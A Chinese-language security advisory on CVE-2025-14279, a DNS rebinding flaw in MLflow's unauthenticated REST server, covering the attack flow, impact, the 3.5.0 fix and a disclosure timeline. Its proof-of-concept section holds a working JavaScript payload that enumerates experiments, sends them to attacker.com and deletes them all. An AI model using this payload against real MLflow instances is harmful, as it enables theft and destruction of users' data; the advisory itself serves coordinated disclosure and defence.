作者: Evan Harris
风险: 高(CVSS 8.1,CVE-2025-14279
受影响组件: MLflow REST 服务器(mlflow/mlflow),版本直至 3.4.0(含)

TL;DR

MLflow REST 服务器不校验传入请求的 OriginHost 头,使其易受 DNS 重绑定攻击。在本地运行 mlflow server 并随后访问恶意网站的受害者,其浏览器可能被变成一个能够访问回环接口的代理,从而绕过同源策略。由于 REST API 上没有身份验证,攻击者可获得完整的读写权限:他们可以枚举实验、将数据外泄到外部主机,并直接删除实验。该问题被分配了 CVE-2025-14279(CVSS 8.1,高),并在 MLflow 3.5.0 中修复,该版本新增了 Host 头校验和跨源请求拦截。用户应升级到 3.5.0 或更高版本。

背景

MLflow 的跟踪服务器暴露了一个 REST API(通常在 http://localhost:5000 上),Web UI 和客户端库使用它来创建、搜索、更新和删除实验与运行。默认情况下,服务器在没有身份验证的情况下运行,其假设是绑定到 localhost 就能保持私密性。

这一假设在 DNS 重绑定下被打破。浏览器的同源策略本应阻止一个从 attacker.com 提供的页面读取来自 localhost:5000 的响应,但重绑定通过在页面加载后改变主机名的解析结果来绕过它。由于 MLflow 服务器接受请求时不检查其来源,受害者访问的任何网站都可以驱动本地 API。

概述

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

攻击场景

  1. 受害者克隆 MLflow 并以默认配置在本地运行服务器(mlflow server),并在过程中生成了一些实验。
  2. 攻击者搭建一个 DNS 重绑定实验环境,例如 NCC Group 的 Singularity of Origin,并将下面的载荷放入该框架的 payloads 目录。
  3. 受害者访问攻击者的网站,并在页面上停留足够长的时间(不到一分钟)以使重绑定发生。
  4. 攻击者的 DNS 服务器首先将主机名解析到其自身 IP,以便载荷加载,然后在之后的查询中返回 127.0.0.1。浏览器复用缓存的名称,因此页面的 fetch 调用会在保持原始 origin 的同时静默地转向 localhost:5000
  5. 由于 MLflow 服务器不执行任何 Origin 或 Host 校验,这些请求得以成功。攻击者枚举实验、将数据发送到 attacker.com,并删除这些实验。

概念验证

下面的载荷会向一个 DNS 重绑定框架注册。它将目标指纹识别为 MLflow 服务器,通过未经身份验证的 REST API 枚举实验,将结果外泄到攻击者控制的主机,然后删除每个实验。原始概念验证在此被浓缩为其功能性步骤。

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

影响

  • 数据外泄: 实验元数据通过 experiments/search 被读取并发送到攻击者控制的主机。
  • 数据破坏: 实验通过 experiments/delete 被删除。
  • 数据篡改: 相同的未经身份验证的写入权限允许对实验执行更新操作。
  • 无需凭据: 该攻击对默认的 mlflow server 部署有效,只需要受害者在服务器运行期间访问一个恶意页面。

MLflow 的响应

在我们通过 MLflow 的协同披露流程披露该问题后,维护者在拉取请求 #17910 中对其进行了处理。

该修复为服务器引入了一个安全中间件层,它会:

  • 根据允许列表(默认为 localhost 和私有 IP 段)校验 Host 头,以阻止 DNS 重绑定。
  • 拦截来自非 localhost 源的、会改变状态的跨源请求(POST、PUT、DELETE、PATCH)。
  • 添加防御性响应头(X-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniff)。

对于确实需要更广泛访问的部署,提供了新的配置项,包括 --allowed-hostsMLFLOW_SERVER_ALLOWED_HOSTS)和 --cors-allowed-originsMLFLOW_SERVER_CORS_ALLOWED_ORIGINS)。这些保护措施在 MLflow 3.5.0 中发布,该问题之后被分配了 CVE-2025-14279(CVSS 8.1,高;CWE-346,Origin 校验错误)。

建议

面向最终用户

  • 升级到 MLflow 3.5.0 或更高版本。
  • 保持默认的 --allowed-hosts--cors-allowed-origins 设置,除非你有特定理由需要放宽它们,并且切勿在暴露的服务器上禁用安全中间件。
  • 不要将 MLflow 服务器绑定到公共或不受信任的网络,如果它必须在 localhost 之外可达,请在其前面加上身份验证或反向代理。
  • 将本地绑定的服务器视为可从浏览器访问:在浏览不受信任的站点时,关闭或隔离本地 MLflow 实例。

时间线

日期 事件
September 22, 2025 通过协同披露向 MLflow 维护者报告漏洞(issue #17877
October 6, 2025 MLflow 合并修复(PR #17910),在 v3.5.0 中发布
January 12, 2026 CVE-2025-14279 公布(CVSS 8.1,高)
June 8, 2026 公开披露